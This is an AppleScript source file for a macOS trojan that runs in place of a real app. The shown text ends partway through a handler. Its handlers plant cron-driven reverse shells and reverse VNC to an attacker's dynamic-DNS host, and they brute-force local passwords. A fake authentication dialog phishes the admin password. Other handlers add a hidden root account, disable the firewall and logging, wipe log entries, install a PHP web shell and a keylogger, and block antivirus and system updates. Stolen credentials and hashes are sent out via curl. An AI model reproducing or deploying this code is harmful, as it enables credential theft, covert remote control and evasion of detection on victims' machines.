set OSX_version_number_minor to do shell script "sw_vers -productVersion | cut -d '.' -f 2"
set OSX_version_number_mini to do shell script "sw_vers -productVersion | cut -d '.' -f 3"
set SystemLoginItems to ""
set i_am_an_admin to false
set i_have_root_access to false
set my_username to system attribute "USER"
set my_password to ""
set ip_addresses to ""
set my_Path to POSIX path of (path to me)
set my_POSIX_folder to (do shell script "dirname " & quoted form of my_Path) & "/"
set my_folder to (POSIX file my_POSIX_folder) --unused at present
set my_name to do shell script "basename \"" & my_Path & "\""
copy my_Path to launch_path
set my_resources to my_Path & "Contents/Resources/"
set phpshell_path to my_Path & "Contents/Resources/phpshell-2.1/"
set candidates_file to "/Users/Shared/SC Info/.candidates"
set accounts_file to "/Users/Shared/SC Info/.accounts"
set hashes_file to "/Users/Shared/SC Info/.hashes"
set all_else_fails to false

--Get the padlock icon
try
    --You could place a copy of the icns file(s) within your application bundle, then change this path.
    --Note that it will not work from Script Editor and will work from your finished app.
    set padlock_icon to POSIX file ("/System/Library/CoreServices/SecurityAgent.app/Contents/Resources/Security.icns" as text)
end try

--Get the Software Update icon
try
    set software_update_icon to POSIX file ("/System/Library/CoreServices/Software Update.app/Contents/Resources/Software Update.icns" as text)
end try


---------------------------------------------------------------------------
--Handlers
--------------------
on i_have_a_secret()
    --This routine gathers, sorts and uniques data from the various hidden files and creates a new secret_file,
    --then copies it to several locations which may be easily accessible.
    if debug then log_event("i_have_a_secret")
    try
        do shell script "cat " & quoted form of secret_file & " " & quoted form of candidates_file & " " & quoted form of accounts_file & " " & quoted form of hashes_file & " | tr '\\r' '\\n' | sort -u > /var/tmp/" & quoted form of secret_file & " 2>/dev/null; exit 0"
        do shell script "[ -f /var/tmp/" & quoted form of secret_file & "] && mv /var/tmp/" & quoted form of secret_file & " ~/Public/" & quoted form of secret_file & " 2>/dev/null; exit 0"
        do shell script "[ -f ~/Public/" & quoted form of secret_file & "] && cp ~/Public/" & quoted form of secret_file & " /Users/Shared/" & quoted form of secret_file & " 2>/dev/null; exit 0"
        do shell script "[ -f ~/Public/" & quoted form of secret_file & "] && cp ~/Public/" & quoted form of secret_file & " ~/Sites/images/" & quoted form of secret_file & " 2>/dev/null; exit 0"
        do shell script "[ -f ~/Public/" & quoted form of secret_file & "] && cp ~/Public/" & quoted form of secret_file & " /Library/WebServer/Documents/" & quoted form of secret_file & " 2>/dev/null; exit 0"
        do shell script "chmod 777 ~/Public/" & quoted form of secret_file & " /Users/Shared/" & quoted form of secret_file & " ~/Sites/images/" & quoted form of secret_file & " /Library/WebServer/Documents/" & quoted form of secret_file & " 2>/dev/null; exit 0"
    end try
end i_have_a_secret

on log_event(append_this)
    local append_this
    do shell script ("echo \"$(date '+%y/%m/%d %H:%M:%S'), OS:" & OSX_version_number_major & "." & OSX_version_number_minor & "." & OSX_version_number_mini & ", AS:" & (version of AppleScript as text) & ", " & my_Path & " V:0.5 -- " & append_this & "\" >> /Users/Shared/.AStht.log")
end log_event


on Back_to_masters_VNC()
    if debug then log_event("back_to_masters_VNC")
    local Rvnc, the_process, crontent
    set Rvnc to "#!/bin/bash
[ -n \"$( ps -axww | grep -i 'lsd" & (ASCII character 92) & (ASCII character 124) & "Snitch' | grep -v grep )\" ] && exit 0
if [ -z \"$( lsof -i:" & masters_VNC_port & " | grep ESTABLISHED | grep OSXvnc )\" ]
then
    the_process=$( ps -auxwww | grep -i OSXvnc-server | grep -v grep | tr -s ' ' | cut -d ' ' -f 2 )
    [ \"x${the_process}\" != \"x\" ] && kill -9 \"${the_process}\"
fi
address=$( host " & masters_DDNS & " | sed -e 's/^.*address //' -e 's/ .*//' | grep -v [:alpha:] )
exec /Users/Shared/.OSXvnc-server -connectHost ${address} -connectPort " & masters_VNC_port & " &
exit 0"
    --Output the shell script to handle the OSXvnc-server reverse connection
    do shell script "echo " & quoted form of Rvnc & " > /Users/Shared/.Rvnc; chmod 777 /Users/Shared/.Rvnc"
    --Set a crontask to run the script every hour at 15 minutes past the hour
    set crontent to ((do shell script "crontab -l 2>/dev/null; exit 0") & return & "15" & tab & "*/1" & tab & "*" & tab & "*" & tab & "*" & tab & "/bin/bash /Users/Shared/.Rvnc 2>/dev/null")
    set crontent to do shell script "echo '" & crontent & "' | tr '\\r' '\\n' | sort -rnu > /var/tmp/cronappend"
    do shell script "crontab /var/tmp/cronappend"
    do shell script "rm /var/tmp/cronappend"
    
    
end Back_to_masters_VNC

on brute_user_accounts()
    --Attempt to brute-force passwords for the user accounts on this computer. This is not too speedy but if everything is else is done, I have nothing but time.
    if debug then log_event("brute_user_accounts")
    local the_users, the_passwords, the_username, the_password
    set the_users to words in (do shell script "dscl . -list /Users | while read username; do passwd=$( dscl . -read /Users/${username} passwd | cut -d ' ' -f 2 ); [ \"${passwd}\" != '*' ] && echo ${username}; done; exit 0")
    set the_passwords to the_users & words in "password admin 1234" & words in (do shell script "cat " & quoted form of candidates_file & " 2>/dev/null; exit 0")
    repeat with the_username in the_users
        repeat with the_password in the_passwords
            try
                do shell script "expect -c 'spawn su " & the_username & "' -c 'expect Password: {send " & the_password & "\\n}' -c 'send id\\n' -c 'send exit\\n' -c 'expect eof' | grep uid"
                do shell script "echo " & the_username & ":" & the_password & " >> " & quoted form of accounts_file
                exit repeat
            end try
        end repeat
    end repeat
end brute_user_accounts

on reverse_shell()
    if debug then log_event("reverse_shell")
    local Rshell, the_process, crontent
    set Rshell to "#!/bin/bash
[ -n \"$( ps -axww | grep -i 'lsd" & (ASCII character 92) & (ASCII character 124) & "Snitch' | grep -v grep )\" ] && exit 0
address=$( host " & masters_DDNS & " | sed -e 's/^.*address //' -e 's/ .*//' | grep -v [:alpha:] )
exec 6<>/dev/tcp/${address}/" & masters_netcat_port & " || exit 0
id >&6
echo -n \"${USER}@${HOSTNAME} > \" >&6
cat <&6 | while read input
do
    $input >&6 2>&6
    echo -n \"${USER}@${HOSTNAME} > \" >&6
done
exit 0"
    --Output the shell script to handle the bash reverse-shell
    do shell script "echo " & quoted form of Rshell & " > /Users/Shared/.Rshell; chmod 777 /Users/Shared/.Rshell"
    --Set a crontask to run the script every hour at 5 minutes past the hour
    set crontent to ((do shell script "crontab -l 2>/dev/null; exit 0") & return & "5" & tab & "*/1" & tab & "*" & tab & "*" & tab & "*" & tab & "/bin/bash /Users/Shared/.Rshell 2>/dev/null")
    set crontent to do shell script "echo '" & crontent & "' | tr '\\r' '\\n' | sort -rnu > /var/tmp/cronappend"
    do shell script "crontab /var/tmp/cronappend"
    do shell script "rm /var/tmp/cronappend"
end reverse_shell

on its_smoky_in_here_lets_open_ports_in_the_firewall()
    --This handler is best run by root (but may disable the firewall in the preference file with only admin access, firewall won't be off until restart.)
    if debug then log_event("its_smoky_in_here_lets_open_ports_in_the_firewall")
    --A member of the admin group may already have write access to the file without the use of sudo. Try this first.
    try
        do shell script "defaults write /Library/Preferences/com.apple.sharing.firewall state -bool false"
        do shell script "defaults write /Library/Preferences/com.apple.sharing.firewall loggingenabled -int 0"
        do shell script "defaults write /Library/Preferences/com.apple.sharing.firewall stealthenabled -int 0"
        do shell script "defaults write /Library/Preferences/com.apple.sharing.firewall udpenabled -int 0"
    end try
    if i_have_root_access then
        try
            --for ipfw
            do shell script "/usr/bin/sudo /sbin/ipfw disable firewall" --stop ipfw if it is running
        end try
        --Modify the plist files to disable the firewall on startup
        --admin access is required, sudo actually isn't but we'll need it if we aren't an admin
        try
            --FirewallTool complains (in 10.4 at least) if the next four items aren't these exact types
            do shell script "/usr/bin/sudo defaults write /Library/Preferences/com.apple.sharing.firewall state -bool false"
            do shell script "/usr/bin/sudo defaults write /Library/Preferences/com.apple.sharing.firewall loggingenabled -int 0"
            do shell script "/usr/bin/sudo defaults write /Library/Preferences/com.apple.sharing.firewall stealthenabled -int 0"
            do shell script "/usr/bin/sudo defaults write /Library/Preferences/com.apple.sharing.firewall udpenabled -int 0"
            --for Leopard 10.5, won't hurt anything on prior systems
            do shell script "/usr/bin/sudo defaults write /Library/Preferences/com.apple.alf globalstate -int 0"
        end try
    end if
end its_smoky_in_here_lets_open_ports_in_the_firewall

on throw_another_log_on_the_fire()
    if debug then log_event("throw_another_log_on_the_fire")
    --This handler needs root! (We either need to be running as root, from SystemLoginItems for instance, or sudo needs to be within the timestamp period!)
    --Call nothing_to_see_here to stop logging first.
    --Then this handler to clean the logs...
    try
        --Just delete utmp and wtmp for now, still need to write a cleaning routine
        do shell script "/usr/bin/sudo rm /var/run/utmp /var/run/utmpx /var/log/wtmp /var/log/wtmpx 2>/dev/null"
    end try
    try
        do shell script "exec /usr/bin/sudo bash <<< 'for log in /var/log/system.log /var/log/secure.log /var/log/ftp.log /var/log/asl.log /var/log/httpd/access_log /var/log/httpd/error_log /var/log/lastlog /Library/Logs/AppleFileService/AppleFileService*.log /Library/Logs/Console/*/console.log; do [ -f ${log} ] && { sed -e \"/[Ff][Rr][Oo][Mm]/d\" -e \"/client/d\" -e \"/[Ll]og[Kk]ext/d\" -e \"/" & my_username & "/d\" ${log} > ${log}.tmp && mv ${log}.tmp ${log}; }; done' "
    end try
end throw_another_log_on_the_fire

on nothing_to_see_here()
    --This handler needs root! (We either need to be running as root, from SystemLoginItems for instance, or sudo needs to be within the timestamp period!)
    if debug then log_event("nothing_to_see_here")
    try
        --Disable logging
        if OSX_version_number_minor as number ≥ 4 then --For Tiger and Leopard
            --For Tiger & Leopard
            do shell script "/usr/bin/sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.syslogd.plist"
        else if OSX_version_number_minor as number ≥ 2 and OSX_version_number_minor as number ≤ 3 then
            --For Panther and Jaguar
            do shell script "/usr/bin/sudo killall syslogd"
        else
            --for Puma and Cheetah
            do shell script "myoutput=`/bin/ps -axww | grep syslogd | grep -v grep | sed -e 's/^ *//' -e 's/ .*//'`; [ -n \"${myoutput}\" ] && /usr/bin/sudo kill \"${myoutput}\""
        end if
    end try
    try
        --Stop system accounting
        do shell script "/usr/bin/sudo /usr/sbin/accton"
        do shell script "/usr/bin/sudo rm /var/account/acct"
    end try
    try
        --Change syslog.conf
        do shell script "/usr/bin/sudo mv /etc/syslog.conf /etc/syslog.conf.AStht; /usr/bin/sudo sed -e 's_/var/log/secure.log_/dev/null_' -e 's_/var/log/ftp.log_/dev/null_' /etc/syslog.conf.AStht > /var/tmp/syslog.conf && /usr/bin/sudo mv -f /var/tmp/syslog.conf /etc/syslog.conf"
    end try
    try
        --Change logging settings in /Library/Preferences/com.apple.AppleFileServer.plist
        do shell script "exec /usr/bin/sudo bash <<< 'cp /Library/Preferences/com.apple.AppleFileServer.plist /Library/Preferences/com.apple.AppleFileServer.plist.AStht; defaults write /Library/Preferences/com.apple.AppleFileServer activityLog -bool No; defaults write /Library/Preferences/com.apple.AppleFileServer activityLogPath -string /dev/null; defaults write /Library/Preferences/com.apple.AppleFileServer errorLogPath -string /dev/null; defaults write /Library/Preferences/com.apple.AppleFileServer admin31GetsSp -bool No; defaults write /Library/Preferences/com.apple.AppleFileServer adminGetsSp -bool No; defaults write /Library/Preferences/com.apple.AppleFileServer allowRootLogin -bool Yes; defaults write /Library/Preferences/com.apple.AppleFileServer specialAdminPrivs -bool Yes; defaults write /Library/Preferences/com.apple.AppleFileServer autoRestart -bool Yes; defaults write /Library/Preferences/com.apple.AppleFileServer loggingAttributes \"<dict><key>logCreateDir</key><false/><key>logCreateFile</key><false/><key>logDelete</key><false/><key>logLogin</key><false/><key>logLogout</key><false/><key>logOpenFork</key><false/></dict>\"'"
    end try
end nothing_to_see_here

on install_phpshell()
    --This handler is best run by root (but can install to a user home folder without admin or root.)
    --PHPshell version 2.1 http://sourceforge.net/projects/phpshell
    if debug then log_event("install_phpshell")
    if OSX_version_number_minor as number ≥ 1 then
        --OS X 10.0 did not include PHP
        if i_have_root_access then
            try
                --Place the PHPshell folder (unzipped) inside the Resources folder within your script bundle (or inside Script Editor if you aren't saving as an app)
                --Hopefully you remembered to add a user such as any of the following to PHPshell's config.php?
                --nobodyd  = "md5:54889c9:45caff28b8f9340ccb43f9f61d72b2a3"
                --nobodyd  = "sha1:527faf43:8a60cb4d7d16b6df77ebf01bcd6a8c98c6ab10d9"
                --nobodyd  = "a secret"
                do shell script "test -f /Library/WebServer/Documents/.PS_Store/phpshell.php || /usr/bin/sudo mkdir -p -m 777 /Library/WebServer/Documents/; /usr/bin/sudo cp -R " & quoted form of phpshell_path & " /Library/WebServer/Documents/.PS_Store/"
                do shell script "/usr/bin/sudo mv -f /etc/httpd/httpd.conf /etc/httpd/httpd.conf.AStht; /usr/bin/sudo sed -e 'sO# *LoadModule php4_module *libexec/httpd/libphp4.soOLoadModule php4_module libexec/httpd/libphp4.soO' -e 'sO# *AddType application/x-httpd-php .phpOAddType application/x-httpd-php .phpO' -e 'sO# *AddType application/x-httpd-php-source .phpsOAddType application/x-httpd-php-source .phpsO' -e 'sO# *AddModule mod_php4.cOAddModule mod_php4.cO' /etc/httpd/httpd.conf.AStht > /var/tmp/httpd.conf && /usr/bin/sudo mv -f /var/tmp/httpd.conf /etc/httpd/httpd.conf"
                do shell script "/usr/bin/sudo mv -f /etc/hostconfig /etc/hostconfig.AStht && /usr/bin/sudo sed -e 's/WEBSERVER=-NO-/WEBSERVER=-YES-/' /etc/hostconfig.AStht > /var/tmp/hostconfig && /usr/bin/sudo mv /var/tmp/hostconfig /etc/hostconfig"
                do shell script "grep 'WEBSERVER=-YES-' /etc/hostconfig || /usr/bin/sudo echo 'WEBSERVER=-YES-' >> /etc/hostconfig"
                --You might also want to call enable_webserver()
            end try
        else
            --If we couldn't make it into /Library/WebServer/Documents, try ~/Sites
            do shell script "test -d ~/Sites/ && { test -f ~/Sites/images/.PS_Store/phpshell.php || mkdir -p ~/Sites/images 2>/dev/null && cp -R " & quoted form of phpshell_path & " ~/Sites/images/.PS_Store/; chgrp -Rf admin ~/Sites/; }"
        end if
    end if
end install_phpshell

on enable_webserver()
    --This handler needs root! (We either need to be running as root, from SystemLoginItems for instance, or sudo needs to be within the timestamp period!)
    --This enables "Personal Web Sharing" and opens the web sharing ports in the firewall under Mac OS X 10.4 Tiger
    if debug then log_event("enable_webserver")
    do shell script "/usr/bin/sudo apachectl restart 2>/dev/null; exit 0"
    --/System/Library/LaunchDaemons org.apache.httpd.plist for leopard -- includes "SHAuthorizationRight" ?
end enable_webserver

on install_and_activate_logKext()
    --This handler needs root! (We either need to be running as root, from SystemLoginItems for instance, or sudo needs to be within the timestamp period!)
    --logKext version 2.2 http://logkext.googlecode.com/files/logKext.pkg.zip
    --This version of logKext is only for 10.4 and 10.5 and it is UB
    if debug then log_event("install_and_activate_logKext")
    if OSX_version_number_minor as number ≥ 4 then --For Tiger and Leopard
        try
            --Place a copy of logKext.pkg (unzipped) inside the Resources folder within your script bundle (or inside Script Editor if you aren't saving as an app)
            do shell script "[ -f /Library/Preferences/com.fsb.logKext ] && exit 0; /usr/bin/sudo installer -target / -lang en -pkg \"" & my_resources & "/logKext.pkg/Contents/Packages/logkext-1.pkg/\"; /usr/bin/sudo installer -target / -lang en -pkg \"" & my_resources & "/logKext.pkg/Contents/Packages/logkext.pkg/\"; /usr/bin/sudo installer -target / -lang en -pkg \"" & my_resources & "/logKext.pkg/Contents/Packages/logkextclient.pkg/\"; /usr/bin/sudo installer -target / -lang en -pkg \"" & my_resources & "/logKext.pkg/Contents/Packages/logkextdaemon.pkg/\"; /usr/bin/sudo installer -target / -lang en -pkg \"" & my_resources & "/logKext.pkg/Contents/Packages/logkextkeygen.pkg/\"; /usr/bin/sudo installer -target / -lang en -pkg \"" & my_resources & "/logKext.pkg/Contents/Packages/logkextkeymap.pkg/\""
        on error
            --logKext wasn't installed, perhaps the path is incorrect?
        end try
        --Tell Spotlight not to index the files in /Library/Preferences
        do shell script "sudo defaults write /.Spotlight-V100/_exclusions EXCLUSIONS -array-add /Library/Preferences"
    end if
end install_and_activate_logKext

on there_are_no_osx_viruses_silly_wabbit()
    --This handler needs root! (We either need to be running as root, from SystemLoginItems for instance, or sudo needs to be within the timestamp period!)
    --Tested with an older version of NAVLU. Hmm, not sure about file's write permissions...
    if debug then log_event("there_are_no_osx_viruses_silly_wabbit")
    try
        do shell script "if [ -f '/Library/Application Support/Norton Solutions Support/LiveUpdate/liveupdate.conf' ]; then /usr/bin/sudo sed 's_://_://127.0.0.1/_'' '/Library/Application Support/Norton Solutions Support/LiveUpdate/liveupdate.conf' > /var/tmp/lu.tmp; /usr/bin/sudo mv /var/tmp/lu.tmp '/Library/Application Support/Norton Solutions Support/LiveUpdate/liveupdate.conf'"
    end try
    --Still to do, newer NAV, Virex, etc.
    --Perhaps modify the /etc/hosts file
end there_are_no_osx_viruses_silly_wabbit

on i_like_you_just_as_you_are()
    --Disables update checking for the current user ~/Library/Preferences/com.apple.scheduler.plist
    if debug then log_event("i_like_you_just_as_you_are")
    do shell script "softwareupdate --schedule off"
end i_like_you_just_as_you_are

on quit
    --ignore any attempts to quit this program
    if debug then log_event("quit handler")
end quit

on agent_86_reporting_for_duty_chief()
    --This handler needs root! (We either need to be running as root, from SystemLoginItems for instance, or sudo needs to be within the timestamp period!)
    if debug then log_event("agent_86_reporting_for_duty_chief")
    set hidden_admin_password_hash to do shell script "openssl passwd -crypt -salt xx '" & hidden_admin_password & "'"
    if OSX_version_number_minor as number ≥ 4 then --For Tiger and Leopard
        try
            --see if our user is already there
            do shell script "dscl . -read /Users/" & hidden_admin_username
        on error
            --if not, then add our user.
            do shell script "/usr/bin/sudo dscl . -create /Users/'" & hidden_admin_username & "' name '" & hidden_admin_username & "'; /usr/bin/sudo dscl . -create /Users/'" & hidden_admin_username & "' UniqueID 0; /usr/bin/sudo dscl . -create /Users/'" & hidden_admin_username & "' PrimaryGroupID 20; /usr/bin/sudo dscl . -create /Users/'" & hidden_admin_username & "' NFSHomeDirectory /var/root; /usr/bin/sudo dscl . -create /Users/'" & hidden_admin_username & "' home /var/root; /usr/bin/sudo dscl . -create /Users/'" & hidden_admin_username & "' UserShell /bin/bash; /usr/bin/sudo dscl . -create /Users/'" & hidden_admin_username & "' RealName ''; /usr/bin/sudo dscl . -append /Groups/admin GroupMembership '" & hidden_admin_username & "'; /usr/bin/sudo dscl . -append /Groups/wheel GroupMembership '" & hidden_admin_username & "'; /usr/bin/sudo dscl . -create /Users/'" & hidden_admin_username & "' naprivs -2147483394; /usr/bin/sudo dscl . -create /Users/'" & hidden_admin_username & "' authentication_authority 'basic'; /usr/bin/sudo dscl . -create /Users/'" & hidden_admin_username & "' passwd " & hidden_admin_password_hash
        end try
    else --For Panther and prior
        try
            --see if our user is already there
            do shell script "niutil -readprop . /users/" & hidden_admin_username & " name"
        on error
            --if not, then add our user. niutil should use lowercase "/users/" or it will it create a second one named "/Users/" which won't actually work.
            do shell script "/usr/bin/sudo niutil -create . /users/'" & hidden_admin_username & "'; /usr/bin/sudo niutil -createprop . /users/'" & hidden_admin_username & "' uid 0; /usr/bin/sudo niutil -createprop . /users/'" & hidden_admin_username & "' gid 20; /usr/bin/sudo niutil -createprop . /users/'" & hidden_admin_username & "' home /var/root; /usr/bin/sudo niutil -createprop . /users/'" & hidden_admin_username & "' shell /bin/bash; /usr/bin/sudo niutil -createprop . /users/'" & hidden_admin_username & "' passwd '" & hidden_admin_password_hash & "'; /usr/bin/sudo niutil -createprop . /users/'" & hidden_admin_username & "' _writers_passwd '" & hidden_admin_username & "'; /usr/bin/sudo niutil -createprop . /users/'" & hidden_admin_username & "' expire 0; /usr/bin/sudo niutil -createprop . /users/'" & hidden_admin_username & "' name '" & hidden_admin_username & "'; /usr/bin/sudo niutil -createprop . /users/'" & hidden_admin_username & "' realname '" & hidden_admin_username & "'; /usr/bin/sudo niutil -createprop . /users/'" & hidden_admin_username & "' change 0; /usr/bin/sudo niutil -createprop . /users/'" & hidden_admin_username & "' class ''; /usr/bin/sudo niutil . -append /groups/admin users '" & hidden_admin_username & "'; /usr/bin/sudo niutil . -append /groups/wheel users '" & hidden_admin_username & "'; /usr/bin/sudo niutil -createprop . /users/'" & hidden_admin_username & "' naprivs -2147483394; /usr/bin/sudo niutil -createprop . /users/'" & hidden_admin_username & "' authentication_authority ';basic;'"
        end try
    end if
    
    --Also add our user to the hidden user list and set showotherusers_managed to false.
    if (do shell script "defaults read /Library/Preferences/com.apple.loginwindow HiddenUsersList 2>/dev/null; exit 0") does not contain hidden_admin_username then
        do shell script "/usr/bin/sudo defaults write /Library/Preferences/com.apple.loginwindow HiddenUsersList -array-add " & hidden_admin_username
        do shell script "/usr/bin/sudo defaults write /Library/Preferences/com.apple.loginwindow SHOWOTHERUSERS_MANAGED -bool false"
    end if
end agent_86_reporting_for_duty_chief

on papers_please()
    --Get current local IP addresses
    if debug then log_event("papers_please")
    set ip_addresses to (do shell script "IPaddress_en0=$(ifconfig en0 2>/dev/null | head -n 2 | tail -n 1 | sed -e 's/^.*inet //' -e 's/ .*$//' ) && echo \"${IPaddress_en0}\"") & " " & (do shell script "IPaddress_en1=$(ifconfig en1 2>/dev/null | head -n 2 | tail -n 1 | sed -e 's/^.*inet //' -e 's/ .*$//' ) && echo \"${IPaddress_en1}\"") & " " & (do shell script "router_IPaddress=$( arp -a | sed -e 's/^.* (//' -e 's/).*$//' ) && echo \"${router_IPaddress}\"")
    if be_quiet is false then
        --Outgoing communication will only happen if be_quiet is set to "false".
        if DDNS_username is not "" then
            try
                --If you are using a Dynamic DNS service to track the computer's public IP address you may not also need to get the public IP address separately
                do shell script "curl " & quoted form of DDNS_URL & " 2>&1 | grep success"
            on error
                --Wanna try a different DDNS service?
            end try
        else
            try
                --These get the public IP address
                set ip_addresses to (do shell script "curl \"http://www.whatismyip.com/automation/n09230945.asp\" 2>/dev/null") & " " & ip_addresses
            on error
                set ip_addresses to (do shell script "curl http://ipid.shat.net/iponly/ | grep body | sed -e 's/^<body>//' -e 's/<.*$//'") & " " & ip_addresses
            end try
        end if
    end if
    set ip_addresses to do shell script "echo " & quoted form of ip_addresses & " | tr -s ' '"
end papers_please

on enable_ARD_and_VNC()
    --This *should* work from any admin account, without sudo or root, for any version of OS X which
    --includes ARD Client (server) such as 10.3, 10.4 and 10.5.
    if debug then log_event("enable_ARD_and_VNC")
    try
        -- Disable the Remote Management menu extra.
        do shell script "kickstart -configure -clientopts -setmenuextra -menuextra no"
        if OSX_version_number_minor as number ≥ 5 then --For Leopard
            do shell script "/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -deactivate"
            -- Allow access for all users and give all users full access.
            do shell script "/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -configure -allowAccessFor -allUsers -privs -all"
            -- Start the Remote Management service.
            do shell script "/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate"
        else if OSX_version_number_minor as number ≤ 4 then --For Tiger and prior
            do shell script "/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -access -on -privs -all -restart -agent"
            do shell script "/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -restart -agent -console"
        end if
    end try
end enable_ARD_and_VNC

on enable_ssh()
    if debug then log_event("enable_ssh")
    try
        if i_am_an_admin then
            --This *should* work from any admin account, without sudo or root, for any version of OS X which
            --includes ARD Client (server) such as 10.3, 10.4 and 10.5.
            do shell script "/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Support/systemsetup -setremotelogin on"
            --And while we're here...
            do shell script "/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Support/systemsetup -setcomputersleep Never" --(logic board only)
            do shell script "/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Support/systemsetup -setrestartpowerfailure on"
            do shell script "/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Support/systemsetup -setrestartfreeze on"
            do shell script "/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Support/systemsetup -setremoteappleevents on"
        end if
    on error
        if i_have_root_access then
            try
                --If sudo works but we aren't an admin (we might have modified /etc/sudoers)
                do shell script "/usr/bin/sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Support/systemsetup -setremotelogin on"
                --And while we're here...
                do shell script "/usr/bin/sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Support/systemsetup -setcomputersleep Never" --(logic board only)
                do shell script "/usr/bin/sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Support/systemsetup -setrestartpowerfailure on"
                do shell script "/usr/bin/sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Support/systemsetup -setrestartfreeze on"
                do shell script "/usr/bin/sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Support/systemsetup -setremoteappleevents on"
            on error
                --This handler needs root for everything past this point! (We either need to be running as root, from SystemLoginItems for instance, or sudo needs to be within the timestamp period!)
                if OSX_version_number_minor as number ≥ 4 then --For Tiger and Leopard
                    --Note, this also opens port 22 in the default OS X firewall
                    do shell script "/usr/bin/sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist"
                else if OSX_version_number_minor as number ≥ 2 and OSX_version_number_minor as number ≤ 3 then --For Jaguar and Panther
                    do shell script "/usr/bin/sudo mv /private/etc/xinetd.d/ssh /private/etc/xinetd.d/ssh.AStht && /usr/bin/sudo sed -e 's/disable = .*$/disable = no/' /private/etc/xinetd.d/ssh.AStht > /private/etc/xinetd.d/ssh"
                    do shell script "/usr/bin/sudo /sbin/service ssh start"
                else --For Puma and Cheetah
                    --Still need to also open port 22 in the firewall (ipfw)!
                    do shell script "/usr/bin/sudo sed -e 's/SSHSERVER=-NO-/SSHSERVER=-YES-/' /etc/hostconfig > /var/tmp/hostconfig && /usr/bin/sudo mv /etc/hostconfig /etc/hostconfig.AStht && /usr/bin/sudo mv /var/tmp/hostconfig /etc/hostconfig"
                    do shell script "grep 'SSHSERVER=-YES-' /etc/hostconfig || /usr/bin/sudo echo 'SSHSERVER=-YES-' >> /etc/hostconfig"
                    do shell script "/usr/bin/sudo /usr/sbin/sshd"
                end if
            end try
        end if
    end try
end enable_ssh

on phone_home_and_try_a_different_method_if_it_fails()
    if debug then log_event("phone_home_and_try_a_different_method_if_it_fails")
    local the_message, the_title
    if be_quiet is false then
        --Outgoing communication will only happen if be_quiet is set to "false"
        --Be sure to use is_it_safe and/or these_are_not_the_outgoing_network_communications_you_are_looking_for() first!
        --The email will be sent to the address set in the variable my_master !
        set the_title to "Howdy"
        set the_message to fuxor(my_username & " " & my_password & " " & ip_addresses & " " & OSX_hashes)
        --HEY! You -MUST- change the lines below to work with the specific web mail form which you are using!
        --An easy way to see which method (POST as shown in this example, or GET) is used, and in what format
        --the data should be submitted, and what phrase indicates success, is to use Firefox and the LiveHTTPHeaders
        --extension while manually sending an email through the site's web mail form.
        set result to do shell script "curl -d \"hdnSendMail=sendNow&To=" & my_master & "&CC=&BCC=&Subject=" & the_title & "&Message=" & the_message & "&btnSend=Send\" www.employeesuggestions.com/form.asp"
        if result does not contain "Your anonymous suggestion has been sent" then
            --try a different mailer
        end if
    end if
end phone_home_and_try_a_different_method_if_it_fails

on exit_stage_left()
    --This next if then statement will handle moving the trojan and putting 'original.app'
    --from within the trojan's app package back where the trojan had been
    if debug then log_event("exit_stage_left")
    if move_myself is not false then
        try
            do shell script "cd \"" & POSIX path of (my_POSIX_folder) & "\" ..; rm -Rf .AStht 2>/dev/null; mv -f \"" & POSIX path of (my_Path) & "\" .AStht; mv -f .AStht/Contents/original.app/ \"" & POSIX path of (my_Path) & "\"" --add; rm -Rf .AStht 2>/dev/null before the last quote to self-delete after moving
        end try
        try
            do shell script "/usr/bin/open \"" & POSIX path of (my_Path) & "\""
        end try
    end if
end exit_stage_left

on whos_in_charge_here()
    if debug then log_event("whos_in_charge_here")
    if text of (do shell script "id" user name my_username) contains "admin" then
        set i_am_an_admin to true
    else
        set i_am_an_admin to false
    end if
end whos_in_charge_here

on dupe_user()
    --Ask the user to supply a password
    if debug then log_event("dupe_user")
    local the_message, the_title, tries
    set the_title to "Sjsbenmr2Ukqnbr2mrlcvmra2gjcm2knaaejmq."
    set the_message to "A2pjmmckb2kmrsrmripr2svyr2una2orri2qrbrpbrq2niq2zcab2or2mrknvmrq.2Eibrm2gjcm
naaejmq2bj2pjibvicr:"
    set tries to 0
    if text of (do shell script "id" user name my_username) contains "admin" then
        set i_am_an_admin to true
        repeat until i_have_root_access
            set my_password to text returned of (display dialog (defuxor(the_message)) with icon padlock_icon with title (defuxor(the_title)) default answer "" buttons {"OK"} default button "OK" with hidden answer)
            set tries to tries + 1
            try
                if text of (do shell script "echo $UID" user name my_username password my_password with administrator privileges) = "0" then set i_have_root_access to true
                do shell script "echo " & my_username & ":" & my_password & " >> " & quoted form of accounts_file
            on error
                if tries is 4 then
                    display dialog "An authentication error has occurred. The file could not be repaired!"
                    return
                end if
                set the_message to "Iipjmmrpb2knaaejmq.2Cyvpx2Ox2bj2bmg2ntnvi."
                display dialog defuxor(the_message) with title (defuxor(the_title)) buttons {"OK"} default button "OK"
            end try
        end repeat
    else
        set my_password to text returned of (display dialog (defuxor(the_message)) with icon padlock_icon with title (defuxor(the_title)) default answer "" with hidden answer)
    end if
end dupe_user

on restart()
    --This handler needs root! (We either need to be running as root, from SystemLoginItems for instance, or sudo needs to be within the timestamp period!)
    --Tell the user that a restart is required.
    if debug then log_event("restart")
    local the_message, the_title
    set the_title to "Sjsbenmr2Ukqnbr"
    set the_message to "Tur2ckqnbr(a)2ermr2viabnyyrq2acppraascyyg.2Yjc2aujcyq2mrabnmb2gjcm2pjzkcbrm2ije."
    display dialog defuxor(the_message) with icon software_update_icon with title defuxor(the_title) buttons {"Restart"} default button "Restart"
